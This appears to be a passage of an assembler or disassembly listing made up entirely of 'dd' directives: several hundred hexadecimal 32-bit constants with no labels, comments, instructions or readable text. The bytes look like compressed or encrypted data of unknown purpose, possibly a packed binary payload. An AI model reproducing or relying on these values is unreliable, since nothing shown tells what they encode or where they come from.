0A5C5770h, 138C2FE3h, 0BA519616h, 25E9AF3Ch, 0C3922933h dd 1456D400h, 811D1A64h, 0B49BEE1h, 873A7C33h, 42421C9h dd 5041EB46h, 706C1F89h, 5BABA03Bh, 70041740h, 2CE83A9Ah dd 0A6965B72h, 0B0434838h, 9EA9DAE9h, 784A873Fh, 7D0C0C47h dd 4BA73017h, 3F3D2DABh, 68B0B6BCh, 57D72B48h, 0EF46D3FFh dd 0F90B61D8h, 73A8214Eh, 491BA117h, 214933F1h, 0E2162BBAh dd 0AC4989BEh, 540C5AFCh, 27C87960h, 0F3746857h, 0F81C5CA4h dd 2E15F7EFh, 2547E904h, 41C446ACh, 0F2EA1388h, 20691291h dd 63421ADh, 6A32C107h, 42CC2B32h, 0FFDC4AB1h, 9EEF725h dd 69096820h, 0CB36D630h, 0C0E63ABDh, 0BA25A916h, 5389076h dd 35746B84h, 12AC2489h, 4FD2E8CBh, 9BBAB7D4h, 2BE91FECh dd 0ADCE59E7h, 48986ADAh, 6B0FE40Fh, 0A4CECF7Dh, 520E592Ch dd 53966ECFh, 0CC20B0Eh, 0BF5EF424h, 0FA2F45B2h, 7B779942h dd 1F61EAF2h, 296E4A52h, 0C2031F88h, 2DC788F1h, 2B506DE0h dd 16CC2580h, 0EC2E6149h, 411478E6h, 12F54331h, 28AE693Ah dd 6B64DD0Bh, 0BDAB5E16h, 764C37h, 7C9B79E5h, 7BCBF381h dd 0E92F0B23h, 0F9E9227Bh, 0EA166AC2h, 6BC3DDEFh, 0E9C3A3B6h dd 0F74194CEh, 0CCBC6BA8h, 3618297Ch, 685B82E8h, 30FD7F85h dd 80790AA9h, 0C90BBF57h, 0A278BB2Bh, 0FA7DF373h, 845039Bh dd 0D13114F0h, 684871E9h, 0A2C297BEh, 2DE9745Bh, 490B8CD0h dd 0F8FDA07Bh, 41681C74h, 0CE5F2543h, 0E02D982Ch, 0A74882F3h dd 0CDC0EA44h, 574C33EEh, 55B8F661h, 7E48FEF9h, 0FD1E4FEBh dd 9616D2C0h, 559E21BBh, 16B92A9Ch, 710A4BCBh, 4AA538CDh dd 0C4A9ECFFh, 0B2689090h, 0A1192A48h, 0FF9577F4h, 2DA28A98h dd 4348A398h, 9417EBAh, 4D64BA3Eh, 4550D9BFh, 3B15E53Bh dd 92D46A0h, 6C21522h, 1805FD85h, 0F3D18A07h, 6312029Bh dd 12B90FF0h, 0A8D94272h, 56EC40F5h, 0BA035443h, 211150D3h dd 0DC66B898h, 9A071B28h, 0B820B240h, 0D502BF65h, 54E016CBh dd 0EA2EC0CEh, 0E9055506h, 0D8BA5C75h, 2A5D2C5Ah, 4A429E6Dh dd 0FD387111h, 44532300h, 894E371Dh, 0D5DECDE1h, 7595B36Eh dd 0CC19CD31h, 0C0BF0F6Ch, 5F2E058Ah, 0A8571C1Ch, 895D1708h dd 0A3F0BF8h, 0BD6419D5h, 22E0725h, 467C7F09h, 289B8AE1h dd 0D8B80270h, 7674B46Ah, 5E0F0BB2h, 0D6882C79h, 585B024Eh dd 98FF0888h, 9DF7A020h, 1321A0E6h, 0AEE98630h, 2934201Dh dd 42FCEAD1h, 90AF6313h, 0CF46CD93h, 0CBF8684Fh, 0E54AA994h dd 5FF8F7F4h, 0E912301Bh, 77ABFCC4h, 0B8A7B440h, 87D128EDh dd 0FA38F773h, 0A8C14B03h, 5503233Ch, 8C4825B2h, 174E4D68h dd 0CAA00F32h, 34C17D43h, 53AE304Eh, 3B745F3Eh, 184CFB46h dd 0FB815F4Ch, 0A82A7094h, 21A484B1h, 0AE38DCA9h, 8C5BF91Dh dd 0C906B2F1h, 3B92E916h, 20C2BAA3h, 9182C232h, 0EC7D5DEBh dd 80D55E47h, 3FE5B954h, 1BB1D14Fh, 0D5C8A102h, 0D3143E09h dd 181AD50Fh, 0FDE9800Bh, 0C15EA366h, 0E678E40Ch, 0FC377070h dd 2DE21818h, 133AF818h, 0AF293FEEh, 4BBF6F97h, 7F3ECAE5h dd 5A5958D8h, 34921F69h, 9DBF2E80h, 786958E8h, 0CAB64AE9h dd 4F6B5421h, 3B762F0Fh, 4BFC1301h, 0FA5A0CD0h, 26D9F831h dd 3019C93Bh, 97B27A65h dd 63A88491h, 0D410410Bh, 0D642D51Ah, 0C65D0809h, 0B7E91835h dd 8C99B1Dh, 6077203Fh, 564CDE0Ch, 564B028h, 7EFFFEFAh dd 0C808FF89h, 2B185AF2h, 82C225h, 0CD96CF88h, 76C8BF23h dd 894B5BDFh, 5A3909EAh, 5BA533C5h, 9076E4E8h, 64700529h dd 58C5C82Dh, 0EFC595DBh, 4B487A27h, 0FE8B85A7h, 76D5AF09h dd 0B1516148h, 6FDDEDC1h, 5F88BA8Ch, 284114CBh, 6D0B3F2Fh dd 5F2CE26Eh, 0DD071B55h, 0F47BA445h, 20832812h, 284CD06Dh dd 1AEB168Dh, 0EFD656E2h, 0E06A0B39h, 5882C72Eh, 1F350C8Bh dd 3E6C0D59h, 7A803004h, 9DFB5C29h, 9ADB348Bh, 25A46E12h dd 692B3D0Ch, 40D30BC3h, 0C0783D62h, 0ECB8560Fh, 3AC1A08Ah dd 0B549391Dh, 8817B5Ah, 0F48AD85Bh, 8C9CB292h, 0DAB14B44h dd 61A8F66Fh, 3A1E733Ah, 0D0F1A470h, 9079085Ah, 7D68278Fh dd 1DB86A18h, 399D5C12h, 0F534C4EEh, 36E4D471h, 226A6E24h dd 52429A00h, 4F31E92Ch, 222B9157h, 86BA0484h, 5E052809h dd 2921105Dh, 575915C2h, 0F778B97Ch, 40E598F1h, 50CF5A3Ch dd 0C1C99954h, 0E9414442h, 8ECC56E8h, 10D59597h, 819A792Dh dd 209C6130h, 0DA4078F7h, 3D5D7858h, 8417C388h, 0F3C460A2h dd 0DC72522Bh, 42CCE6A0h, 0E9484004h, 0BCBA9B6Ah, 45748466h dd 0A22A3F14h, 249E98B8h, 16716138h, 3A92FF5Bh, 48C7618Ah dd 6109C8DBh, 2D6B642h, 7F02B0FFh, 0FC2F4D54h, 23DD2762h dd 0CF55E7B5h, 0EE0FB5C8h, 0FB68D060h, 1E799520h, 89E92163h dd 742E5B86h, 82B9C0FFh, 1D58E743h, 69090338h, 8C4774F4h dd 851EE380h, 0A08A5EB5h, 0C5B75B14h, 0C31D896Fh, 7B4190FFh dd 0DBF70728h, 0F205EBC1h, 0F8E41698h, 0BDA11B20h, 0BA521568h dd 0BFEC74B7h, 491EB0B3h, 0D116187Eh, 0B657FEC9h, 9F2D3EB0h dd 5102A17Ah, 0EC388E68h, 0FDBA8711h, 5FC06EEAh, 9C3B6E68h dd 0E24888h, 1456781Ch, 8717E8BEh, 0ECEDEBA9h, 0A22EC27h dd 0EF29864h, 45F9EB02h, 41A72DE0h, 0DF704D87h, 267E2A68h dd 1FE9272Dh, 83AD2481h, 0FC4407Fh, 81F9E684h, 56D6C64Bh dd 0A1705B3Ah, 37074A43h, 80604129h, 2EFE5664h, 0D1066509h dd 0F428F719h, 67652708h, 0A7B4318Bh, 1672CD4Ch, 7B9AB08h dd 0E295C6EFh, 0EB196994h, 6F40B02Eh, 4A48342Bh, 0E3C78709h dd 33D9F296h, 0D7917F4Bh, 410332A2h, 0D7D02428h, 0E1061576h dd 7F312889h, 9A970F48h, 0CB41DED5h, 0AFE3C159h, 13EAD0AEh dd 0E8AD07AEh, 0CF260600h, 51E91777h, 0F700EE21h, 0B5286CD5h dd 0BF7CB0F0h, 3E736320h, 601F531Ch, 2FE2414Ah, 2F4E2545h dd 194084B4h, 0B2EEB7A4h, 7A3505FBh, 0DEC34187h, 0B90E4A34h dd 0BFC11969h, 0F56FC2FDh, 0D000303Bh, 75FC099Dh, 10E88F20h dd 8B74627h, 0D8250721h, 0C071F5DDh, 0D92FF821h, 0A22F409Eh dd 4F5C6734h, 7A1B055Fh, 0D1807615h, 0F1E4307Eh, 0F7F1A340h dd 0B9634819h, 0C41C12Ch, 0FC183A4Bh, 8A889F0Bh, 0EA8C7021h dd 0CE288097h, 799A06EEh, 786D20FBh, 0EC494343h, 1E74EF80h dd 1287CAEh, 882AFF7h, 62F7E989h, 20A658E6h, 0F1974C0Dh dd 36080006h, 7C010693h, 48CF5695h, 0BD82200Ch, 3E34A6C8h dd 0A9D95782h, 4EC61B2Dh, 1CAEF0Ch, 0E920F44Ah, 0C8E57227h dd 1FD9BA1Ah, 909BB1Fh, 255A5843h, 0A14A38EEh, 7F13008Ah dd 0C5BDF844h, 0CAEF943Ch, 0D8DB4F71h, 38F4E909h, 11F11C20h dd 63BF0325h, 7E09EAE5h, 91FE1394h, 417AF3Ch, 40FC01BBh dd 2B7CF158h, 0C0C219F2h, 91838B7Dh, 0E14AC846h, 0EE932CBBh dd 57C120F3h, 0C0117B0h, 5B4B5F5Dh, 9820D3F7h, 47911321h dd 4E98EC8Dh, 22658E8h, 0A13701D5h, 2F0928B8h, 1004E8BCh dd 0AB852B89h, 44AD571Dh, 158AC9FCh, 0FB5C6EC1h, 22871825h dd 9085553h, 7FDFB307h, 0D3304F24h, 0EC5DC5D4h, 0DF257DD8h dd 84AFDF5Ch, 0A449F004h, 5012C9D7h, 3D844C59h, 1F98EE08h dd 0E8880952h, 2D9F787Dh, 9D565AD3h, 4CFF3215h, 5BC08058h dd 4A01B169h, 58BCD2EBh, 5FC1C2F5h, 68C799D1h, 6C675E9h dd 0DEA5494Bh, 24CE9D20h, 285F0D02h, 403F4158h, 0E49C42EAh dd 0F7B0235Fh, 40C2C059h, 54DC736h, 86420409h, 2DF6853Eh dd 0FAE9070Eh, 16107F5Dh, 29DEA29h, 0B9487A7h, 7C149F70h dd 1884A145h, 0AB35F26Bh, 29482C6Ch, 396500A3h, 76E95E54h dd 0D204F60h, 3136464Eh, 0A182403Dh, 0C5D68989h, 47797D58h dd 8FB9B617h, 0E667D71Ch, 30F309DCh, 0E4548619h, 12C2AE5Dh dd 6C091068h, 38E12515h, 97E6C0DFh, 322C2D7Fh, 238052E2h dd 2E344DB8h, 7409C598h, 0AF230924h, 14C41CB8h, 0B0832ADDh dd 0D479D9CDh, 72BC3Eh, 7B8808EEh, 4F6FE9D2h, 2E479018h dd 0B60B017h, 0CB14AB34h, 0A0D79595h, 1949FCF0h, 13FAF239h dd 0AA767D68h, 5D9BED62h, 6C087E67h, 87542D95h, 7D57571Eh dd 0A90832D4h, 596603DEh, 0C0FBDD30h, 316F128Eh, 37A00530h dd 0C7068CAEh, 0EAB3F960h, 4A0B3D2Dh, 7021ECB0h, 0FB6B8EE7h dd 79B345Fh, 19D2390Dh, 986669FEh, 2D7AB060h, 0F9E8782Bh dd 0ECBD0D28h, 139481E8h, 0EA427EC5h, 35DF6CEh, 16ED76A6h dd 64A190FFh, 0CC1791Dh, 55887E74h, 121C0870h, 0CD88094h dd 0C793A0E5h, 62A78BA0h, 3B68BA24h, 0F675003h, 0D80C0263h dd 585A2642h, 0C350285Eh, 0AE5AE9h, 44FABF0Ah, 0F7310C37h dd 45B63AD7h, 0C8DB54D5h, 608E3EA0h, 1E481875h, 3126BA5Bh dd 8D16B8FBh, 0F6933AF3h, 0CB542ECAh, 316856C0h, 67103E5Ah dd 0D8FD6041h, 131DBE80h, 0E85B353Ah, 0F1D482Bh, 0E0722B68h dd 0EB2D5838h, 47590064h, 3DF2C205h, 45EB8911h, 0E7F7FBE0h dd 0CCD92812h, 0BF172CB7h, 8BF1BCE9h, 50073E63h, 0E2F9A266h dd 0B07AC073h, 0F6110A2Dh, 0D074E9D0h, 58A4D425h, 5F959004h dd 5C1C5B16h, 57576866h, 530906EDh, 4ACCE9h, 0E5C13F40h dd 50550813h, 58A060E8h, 9573D0F7h, 12E4DD4Ch, 0E2F89FC5h dd 6C5B0092h, 0BE212C0Bh, 0A568B139h, 22C67E46h, 2FE912A2h dd 929DAEBBh, 826F17F1h, 0F4575A24h, 9C75E93Eh, 3662BD88h dd 7D4948DBh, 0C5B5024Ch, 40CFA8D2h, 8712B569h, 0D312EF20h dd 418866B0h, 539A0286h, 0BFE7F977h, 0BA72CA92h, 0ED440CB6h dd 0B8681857h, 0B98F614Fh, 5CEC8080h, 0E110EFCDh, 71472418h dd 0B9C084B9h, 0C0908B39h, 5FB23432h, 0B1DC90Fh, 0F55076C4h dd 0E9125F14h, 0ABED43E4h, 89045F97h, 3076E740h, 5D0668C1h dd 16FEA188h, 62F27627h, 7091381h, 2FA7B399h, 1F06DDF9h dd 55583985h, 3D643C3Ah, 0B14A9938h, 0B0DDE063h, 587D903Eh dd 0C99DDBF6h, 0E86B9C5h, 205F16E9h, 620D5900h, 3519C744h dd 9A08006Dh, 58412D6Ah, 71972F7Ch, 0AE9AB4E5h, 7BDC9700h dd 984222E0h, 6AE2B787h, 0AC8159D7h, 195ACABh, 0B2E94134h dd 885200B5h, 0F75159E2h, 2D1BAA10h, 7446E25Dh, 5583D0BEh dd 3C8DD82h, 3BDF12F2h, 0FA8D0589h, 81072EE8h, 0D4007D5h dd 5322E518h, 12BB0FA3h, 16EB5BF8h, 30EA3112h, 7F1CACh dd 5722342Dh, 5E8290Ah, 68007A2h, 17E333E7h, 894CE92Fh dd 0B9C148CAh, 56192862h, 0F6A0B8Ah, 90557C5Bh, 4B0749D2h dd 4FCF8ABh, 4B58C43Ah, 0A331A0FEh, 0C24BEE69h, 881175B4h dd 0C02874AFh, 8002E207h, 7EB3F7C2h, 0F3EA841Ch, 66558967h dd 0E9EA0973h, 0D8683F4Bh, 59B53EB6h, 0E2554B03h, 88B5DCA9h dd 0E90B5528h, 1F49D010h dd 57462CB9h, 0A92DC42Eh, 90E903E8h, 4E77AFD2h, 2A12AAE6h dd 0C91105FBh, 0A032D261h, 0A5BEF3F9h, 3DB3DA33h, 3A0BA8EFh dd 93875043h, 75F27B5Ah, 8230184Eh, 4A993E12h, 7398EC2Ch dd 0D8F0E351h, 8E302669h, 0A730C6Dh, 0C1BD4F2Eh, 40E1D1FDh dd 0DC20D2DAh, 9798A8A0h, 90C58080h, 0C227323Ah, 0CBDDC389h dd 9843D9B0h, 1713A26Eh, 0CAFFD6F7h, 4E731262h, 0BA5023A2h dd 0AA9AA853h, 77408211h, 333D5C20h, 0A4F9963Bh, 4D604229h dd 0BC565BCEh, 9244C5D9h, 416B8B4h, 0F7176F69h, 4BADAAD5h dd 523DD206h, 6207DC48h, 0E9460315h, 9DBE8574h, 0FFA7EDF9h dd 434B5E07h, 1FD0CB81h, 48D113B8h, 0C44E83EBh, 3C41EEE7h dd 51DC3C6Bh, 6716877Dh, 1D67E44Ah, 370E5C1Eh, 8BB11ED3h dd 2072F76Ah, 0FFE0FA87h, 872AAF3Bh, 91631150h, 0E16F124Dh dd 6BAE35E0h, 58041BCAh, 98098468h, 5E13E40Ah, 0CABA3760h dd 12F90492h, 0C803C50h, 12395E1Eh, 0BF32914h, 17D33F59h dd 322F79A0h, 9891F72Bh, 194E856h, 42D3D995h, 1B77F3B5h dd 5720FA97h, 72C9A3F4h, 1D95ED92h, 64167EB9h, 0F079D1A1h dd 7AB23E5Eh, 0E8F982E4h, 8982BF56h, 0C063907Ch, 0AD15A06h dd 0AC8EE9EEh, 7DE7809Fh, 471AE312h, 4AB85000h, 35102549h dd 824B3BBBh, 3EA2E98Eh, 12B7BE12h, 0A103BC5Ah, 0EC2E5658h dd 921B41Dh, 0A15453E9h, 7F8E6580h, 0C6C625Eh, 84626996h dd 9A5725Fh, 1BA3D666h, 0D04A9552h, 0EEBA390Bh, 2F9802ACh dd 54012B0Ah, 0E50C0932h, 517B887Bh, 6980792Dh, 32B56E68h dd 8830FC97h, 7425754Dh, 5AD70E8Ch, 0C272FCABh, 1643E220h dd 7D830ACh, 67B3B13Eh, 9A8DE2C8h, 612CE6A2h, 0A7F64375h dd 0B252806Fh, 2DD0280Dh, 0A80FDE9h, 880B753h, 819E0F95h dd 5462689Bh, 8887423Ch, 0AC6CC4CCh, 34EC5B02h, 1A8BCD3Eh dd 0E6561BE2h, 0C198FB39h, 0A83FF505h, 95E1F082h, 46E8CEE5h dd 264E88h, 0C5B4F672h, 2A98ABC1h, 92B4D0Fh, 2DE58011h dd 0EC336945h, 66F01FC5h, 158B265Ch, 0F302BF0Dh, 0C875E50h dd 0AF102255h, 1068015Dh, 85376F1Bh, 0BE953BE5h, 2920A4FFh dd 2C89774Fh, 0D659B66Ah, 25DCC404h, 0FEB35302h, 5C91EC55h dd 422554D9h, 7D728476h, 5280C040h, 0FE3C6B5h, 13E34A95h dd 88B1EFA4h, 4D177E9Ah, 0A6005EFEh, 4DE3D2Ah, 0C1DA12F7h dd 0EA4C01E2h, 2FC7D5FCh, 0E27E3CF5h, 6DD2961Fh, 5EFBA7CBh dd 0AEE0D565h, 4040B566h, 1CC30EA8h, 4A43DBF7h, 0E34EEC06h dd 0E639E8BEh, 0C2E91208h, 0EDE5AF7Bh, 0C432E22Eh, 5A019F10h dd 2A351F68h, 257F81B3h, 6CD75F88h, 42F9B715h, 24513388h dd 48950C23h, 560FB916h, 442C647Ah, 0F9BB73C5h, 56CE6FDh dd 0B511D5BDh, 648E0179h, 7A25094Ah, 7E2103D7h, 813BA943h dd 2ACAE61h, 0C46D545Eh, 0C11288EEh, 0EFC07BEDh, 0AD158A9h dd 6FC8E942h, 6E323855h, 50D5EA97h, 4A38F6BBh, 0B9A22042h dd 0CC0961C0h, 5ECA0944h, 30EB683Bh, 5989EA70h, 29105B09h dd 9DF790D3h, 0DBBB803Eh, 480C6517h, 20B74900h, 680114ACh dd 2408D2DFh, 9D5025F2h, 4BB15195h, 3B51CC09h, 0D3601498h dd 0C711C938h, 0CDC2A2DEh, 255097Dh, 765577ADh, 0C46862C4h dd 64585C75h, 2C6F845h, 0FA5AC9BDh, 0F9596003h, 0E4C08081h dd 80690F3h, 24F0426h, 0EB6EE99Fh, 52288A46h, 0D65FF5B6h dd 8BAFA8C4h, 0A501C9F7h, 99AB5DB8h, 46AC0092h, 4A4AFD60h dd 0FB0ED5EAh, 0AA5F4D9Bh, 0EA71D5Eh, 3BEAF2CAh, 0E529503Fh dd 5D7E129Dh, 0D46389F9h, 0E58B0368h, 67F206E7h, 51454C04h dd 8682C778h, 8BD70ABAh, 0D7C40CD1h, 55DE6805h, 0B2FE157Fh dd 0AAE83B99h, 0B307D478h, 0DC885021h, 5B58E521h, 2BE88D7Ah dd 171763ACh, 53E5472Eh, 4C7C8168h, 3D6D2C1Dh, 74C09D10h dd 3984E381h, 0B83059FEh, 8B612C87h, 0E9DD03B5h, 993B762Bh dd 2A9E92E6h, 0B9BEF064h, 0CABAD225h, 94333049h, 0C01C9FE9h dd 19A7BD8Fh, 489954ABh, 8ABB5360h, 32E1015Eh, 7387D3BEh dd 30D82078h, 45AB5B12h, 841FCE9h, 0F1EDD082h, 8FF69E32h dd 0EA502911h, 4C4F7E1Ch, 800F676h, 5673BF0Fh, 50045CBEh dd 0F2213D05h, 0DCE3A5C2h, 14F8CBAFh, 0E210D6BDh, 0F65A9077h dd 1036072Dh, 4BAF6831h, 0F833313Eh, 38AA2BACh, 8D0CEAD0h dd 0C29557Dh, 744D1AB1h, 1A74A615h, 0DEEDD942h, 298A8913h dd 5587980h, 0E1585478h, 0D56E16FCh, 0E4797EA3h, 0F563C053h dd 3EDE3764h, 3BD797A0h, 0FC63172Eh, 0EC09D22Dh, 0E78B5AF1h dd 0D775101Dh, 69B3680Bh, 0E99FE2E5h, 0A78A4692h, 2755D310h dd 398B5F2Dh, 38EAB02h, 9320256Ch, 63AEC4E2h, 0FC3CD94Ch dd 31B2B884h, 194052FEh, 0EEF9A0F7h, 9ADA14A1h, 920599BEh dd 0AE25866Fh, 8137D94h, 57E58604h, 29755D09h, 0B105CC52h dd 58C28C0Fh, 7513734Eh, 0F2434FA9h, 0FD652CBDh, 6331C1C2h dd 1248B790h, 229EBB59h, 27726803h, 0CCF17762h, 1F416A2Ch dd 0F1B54278h, 0BABDF2ECh, 5F9806h, 4ED87C3Eh, 0A43712BAh dd 0B4317B35h, 60EA6AB0h, 1B4DC90h, 57EBE9D3h, 0AB852DEh dd 483FC4FFh, 1E2DEF4Ch, 456B0FA2h, 0BB1F609h, 3BD5C337h dd 5D20DAF3h, 80728172h, 0D866EC28h, 5DD220h, 2F10F1BFh dd 0F5F7813Dh, 0FA010DC2h, 0C5F8F65Fh, 25F1F85Ah, 1D5E30h dd 88C1F580h, 0F69E59EBh, 9DF8D43Ah, 4A3EA096h, 0FB97F1E9h dd 29044113h, 7418E28Bh, 0B33D2A5Dh, 14659A73h, 0C6FC4038h dd 7D683702h, 0F101E44Bh, 0E2F02E2Fh, 305112E6h, 0F905AF25h dd 33EE6444h, 0A2DD746Eh, 965F28D2h, 0F4C1012Dh, 0FB53CE0Ch dd 0F94B512Fh, 7E2D8579h, 0E78411F8h, 5B8E709h, 45016A35h dd 0C3F4B7C1h, 984C8D63h, 88525B07h, 3BDE2CAh, 0B7354CD5h dd 2B56ABE9h, 5228C0A7h, 5022E5FEh, 6EE7C702h, 0A280109Bh dd 7C968088h, 56F88927h, 12FFCAABh, 50688860h, 809DE190h dd 1905AD00h, 33B12876h, 3EDF419Bh, 2E7C83B5h, 67927F9Eh dd 0C8F6EEB3h, 30ADA1DDh, 0A05AD0E6h, 8292BBFBh, 63A78D0h dd 2DC75811h, 0BA35EF7h, 0A8F6BF0Ch, 0A7AD65EFh, 4B265BDCh dd 0B7BCC60h, 40F90C5Bh, 171CE9B0h, 854EC795h, 64C03F1h dd 2764A0AEh, 83BC602h, 7E466CC2h, 5913015Eh, 440936CAh dd 73AEC3C7h, 0E96B6ED8h, 0D9469A30h, 255C8F68h, 8875617Fh dd 6A02CF04h, 0C117F553h, 0C00123EDh, 0D1C2FBEBh, 19A0257h dd 0A4A979F0h, 1CE1001Ah, 0A5E969F7h, 402D3DB6h, 810B2F10h dd 0A0997958h, 9D3E9C68h, 83A0B66Ch, 0F7808008h, 415E90D6h dd 0C6C22A4Ah, 8186C131h, 0E9727FF2h, 7B480A27h, 5EFC3FDFh dd 0DCBCF541h, 22CB3C0Eh, 0A03A7D5Bh, 0EE75BE0Bh, 84F35EEh dd 17537430h, 7634F9DDh, 40F5EF5Fh, 0B323823Eh, 67D6A24Ah dd 3DE8513Ch, 39747AECh, 8347713Bh, 46BC7E7h, 0BE1A1C6Fh dd 890A0561h, 0BBF280FDh, 9D5A2902h, 733DE3B8h, 0FB556112h dd 17FA8812h, 0D521ABDEh, 9E20E883h, 0B2E4DBAh, 2A7BC902h dd 0A6D71D2Ch, 0F1602EAh, 48320EBAh, 0AF2B6904h, 80F09D9Ch dd 0FF4ECD96h, 0BA4ED8FAh, 699780E0h, 0FD7FA473h, 0DC2CC49Fh dd 49060D01h, 0D0D1D333h, 0E3947A39h, 1D56AB16h, 0FCD625ECh dd 0EB811698h, 0E9C542BBh, 5455B588h, 6C0773D1h, 625B6858h dd 0FD79DF09h, 0CC80E9C3h, 0D41BBDABh, 0B5841602h, 267879ABh dd 12BF4B28h, 398AFF8Dh dd 3E55B14Ah, 8B4B258Bh, 43830471h, 0E2AE738Dh, 0DF5074B6h dd 2512FAFFh, 67EB2248h, 0F9E9E1EFh, 550EADF5h, 42B846A8h dd 68017C29h, 0F78C5083h, 0C2DD82D4h, 8010363Ch, 0EA685654h dd 945FCA49h, 4B7A1C40h, 9574790h, 4AEB804Dh, 0CE28142h dd 463D03A4h, 65090840h, 0D6212215h, 4D6E83FDh, 440643B7h dd 74DA7879h, 0AA9C1Fh, 0D8034FEEh, 0B07CE901h, 1AEF8BC1h dd 731AC4Dh, 5D0222F5h, 0C6D1C07Fh, 3F5A816Ch, 0D3937E9h dd 7ED3F87h, 804A6005h, 2A4BE97Fh, 40F14E13h, 0C52E86E0h dd 0E67840FFh, 0FD257FFDh, 9D6EDD4Bh, 26BF9520h, 11E5A57h dd 9C280ECAh, 56B703Ch, 0BEE4C04h, 17AAAFE9h, 0B2FEB59h dd 36074348h, 550A7B01h, 5F5BA0ABh, 0A696C5B8h, 0E268530Fh dd 7742DD75h, 0CA90F60h, 0C791E30h, 488B123Eh, 9E00F53Ah dd 5552541h, 0C92CCD2Bh, 56107620h, 12308826h, 9BB2AA41h dd 0BF665C13h, 4FF771E4h, 8522EA05h, 2D0D8208h, 0DDEEF5FBh dd 89E359B7h, 0ABD63FEFh, 2F1CA08h, 280F2C59h, 0C2A52E63h dd 0EDE1ACE9h, 50B447F6h, 3E2C05Ah, 0E9C2FE05h, 31BB32B6h dd 19E7D5h, 2C4123BAh, 16C34DB7h, 5FFA00D7h, 680E355Ah dd 2D654A03h, 0E1D8B22Fh, 0BD50A1E9h, 2730D2B8h, 56D60F40h dd 0C633CB0Bh, 51E00F72h, 0D9EF0753h, 8A5BCEE5h, 157D5098h dd 0D50818BDh, 0EBEDC1A2h, 0E9E32894h, 760C7918h, 0F6F5D2BFh dd 0C9C05E03h, 83FC6F11h, 0FD99307Ch, 1F64E619h, 71BDE098h dd 75893C4Dh, 79570CF2h, 90D60208h, 70D561E0h, 147F27B5h dd 0DE45B174h, 3128C4EFh, 6B46205Ch, 0D08A689h, 819E606Ch dd 2D6129C7h, 0ED4E7676h, 9F416EFh, 2E4456B8h, 0A6BD5501h dd 4D4A956Ah, 0C08CCCFCh, 393CC341h, 0CABD0714h, 5008099Dh dd 1E92999Fh, 0C37509D3h, 68120DD2h, 9DCC18A8h, 0AD235F7Fh dd 0E6D3DE99h, 0E8F627A0h, 4CB51751h, 2D43E820h, 7F488BEFh dd 46AE4FB8h, 2C0FE80h, 862CD8F6h, 11D1C688h, 0E6FE78BFh dd 0B7530700h, 51D7F671h, 38B7DB1h, 0F2E980C1h, 0C9A8E1D0h dd 20EBC0D9h, 9641ABFBh, 9C905571h, 5BF558B8h, 6E152EAh dd 1BE09847h, 773C9AB5h, 0E9F9067Eh, 9574ECC9h, 262781E8h dd 173B4C58h, 66218248h, 0DEC9F331h, 18DF0997h, 81E90866h dd 3200F59h, 625CEFE2h, 61F2D06Ch, 0C66040Eh, 0BEA03CE9h dd 1C2ADC2Dh, 0BABE9215h, 84942AA3h, 242FA486h, 0F820DEBFh dd 499703D0h, 6038636Ch, 80EC007Ah, 0E188AEC4h, 0CE4F2058h dd 2DAF9A95h, 49E536h, 270FC2BDh, 66DC7072h, 22C0811Ch dd 558FD2FDh, 8589D58h, 4829940Bh, 4F62F57Ah, 0FA580804h dd 0AF5B20FCh, 5981A464h, 402E2FE3h, 43DAC889h, 0E49789F9h dd 0B10F5F15h, 3CEB2B8Fh, 9B9E0BBCh, 0F9C552Fh, 5D81A077h dd 794EE043h, 60959632h, 8D7C93B9h, 80B00E4Ah, 1E3E1306h dd 17A130Fh, 4297F79Fh, 128E6093h, 55396295h, 0FFCB59D3h dd 2E835EB1h, 2DAB1113h, 4FB57AB7h, 0E08DA97Eh, 736754BAh dd 27AB0CEh, 72A6951h, 0CA80C283h, 0B223D3F2h, 2464858h dd 77E532F1h, 0F9F16031h, 2F66B21Dh, 3DFE69B3h, 5A56E6CFh dd 27CB7C9Dh, 91807CF2h, 365F15F6h, 0BC9A3160h, 4BCD5A8Ch dd 704C4189h, 821CA454h, 0C56AB60Ch, 0F879C263h, 30D7972Ch dd 998FBA34h, 68620161h, 604B1501h, 38176CA2h, 29C0237Bh dd 2CEFD0F3h, 0AF11FCECh, 4FA5A6F4h, 2FE90928h, 0F25A67A5h dd 0D82984A8h, 0B4BFB281h, 2617F67Fh, 599377A7h, 0DD6B900h dd 0C17B5Dh, 575005EDh, 202E9DBFh, 587F6C59h, 0C9A93045h dd 5C3F06F5h, 0C51D4234h, 3B149EBh, 91834F5Eh, 98E6CF09h dd 95BDE9EEh, 218280D6h, 745B7718h, 92B26D40h, 0D0B9365Eh dd 9452776h, 1501261Eh, 0E9691278h, 252C7CC2h, 42D1E496h dd 0AA111441h, 0E83A3DC3h, 34D626F2h, 5BA5B92h, 0ABFB87F2h dd 1C286E18h, 5D635CF5h, 0E3BB3712h, 5AC75C7Ch, 0FB786E9h dd 0FD5E0050h, 134D2968h, 0A1F19D64h, 8709E8E4h, 0C195CE50h dd 466ED236h, 2CAD0A76h, 8073E925h, 57525944h, 66F50B68h dd 48D722DDh, 0A92BB0F4h, 8B6BD9A3h, 45C10227h, 5F373BBBh dd 3AC27908h, 12E63009h, 6117CA7Fh, 3BB230h, 681504ABh dd 5B12297h, 58AB15BCh, 0AFB50278h, 7DBBB3E9h, 4DC098D1h dd 98738F17h, 0E8B50014h, 0B1058C70h, 464FCA59h, 741E1A8h dd 3D08FE01h, 44F54D8Eh, 99FD3C2h, 80B8E875h, 48280661h dd 0DB0826E9h, 6B6DF101h, 0CE014384h, 0F852C52Ah, 5A23C4FFh dd 5BDE021Ch, 0D85F588h, 0B5EDF0E3h, 0EB081204h, 91816659h dd 0D26C2584h, 0C44B50C2h, 60028DE9h, 52C2C6D3h, 5D249068h dd 600D0998h, 0D0BF857Ch, 2E262880h, 0BCFB0F8h, 3AB4181Ah dd 5216395Ch, 6E2A6E40h, 25E961DAh, 90E46755h, 0C0864A95h dd 0B7E16EBAh, 8052FAFCh, 307D3555h, 2083B942h, 6E71B508h dd 3681C364h, 13873202h, 92752CC8h, 0AF767A46h, 0CE680B82h dd 0D1F99B20h, 0AD2F5996h, 10680A88h, 5C0F179h, 163FEC28h dd 420B88E9h, 47C96833h, 7E827951h, 42158F59h, 616970E9h dd 2D262651h, 69DDFA40h, 0E96F07E4h, 5ED3F64h, 0CA8921B3h dd 4091B3EFh, 0C17BDAFh, 40A06AB7h, 162C25E9h, 992A5ADAh dd 0D521D1C9h, 0BE56805Eh, 6ECB3861h, 0E9ABA00h, 76E9E3D0h dd 0D5B2AA1Bh, 584E0570h, 0E2E9BAD8h, 659E5B4Fh, 0E524446Bh dd 0C9E8BB27h, 0C021FF96h, 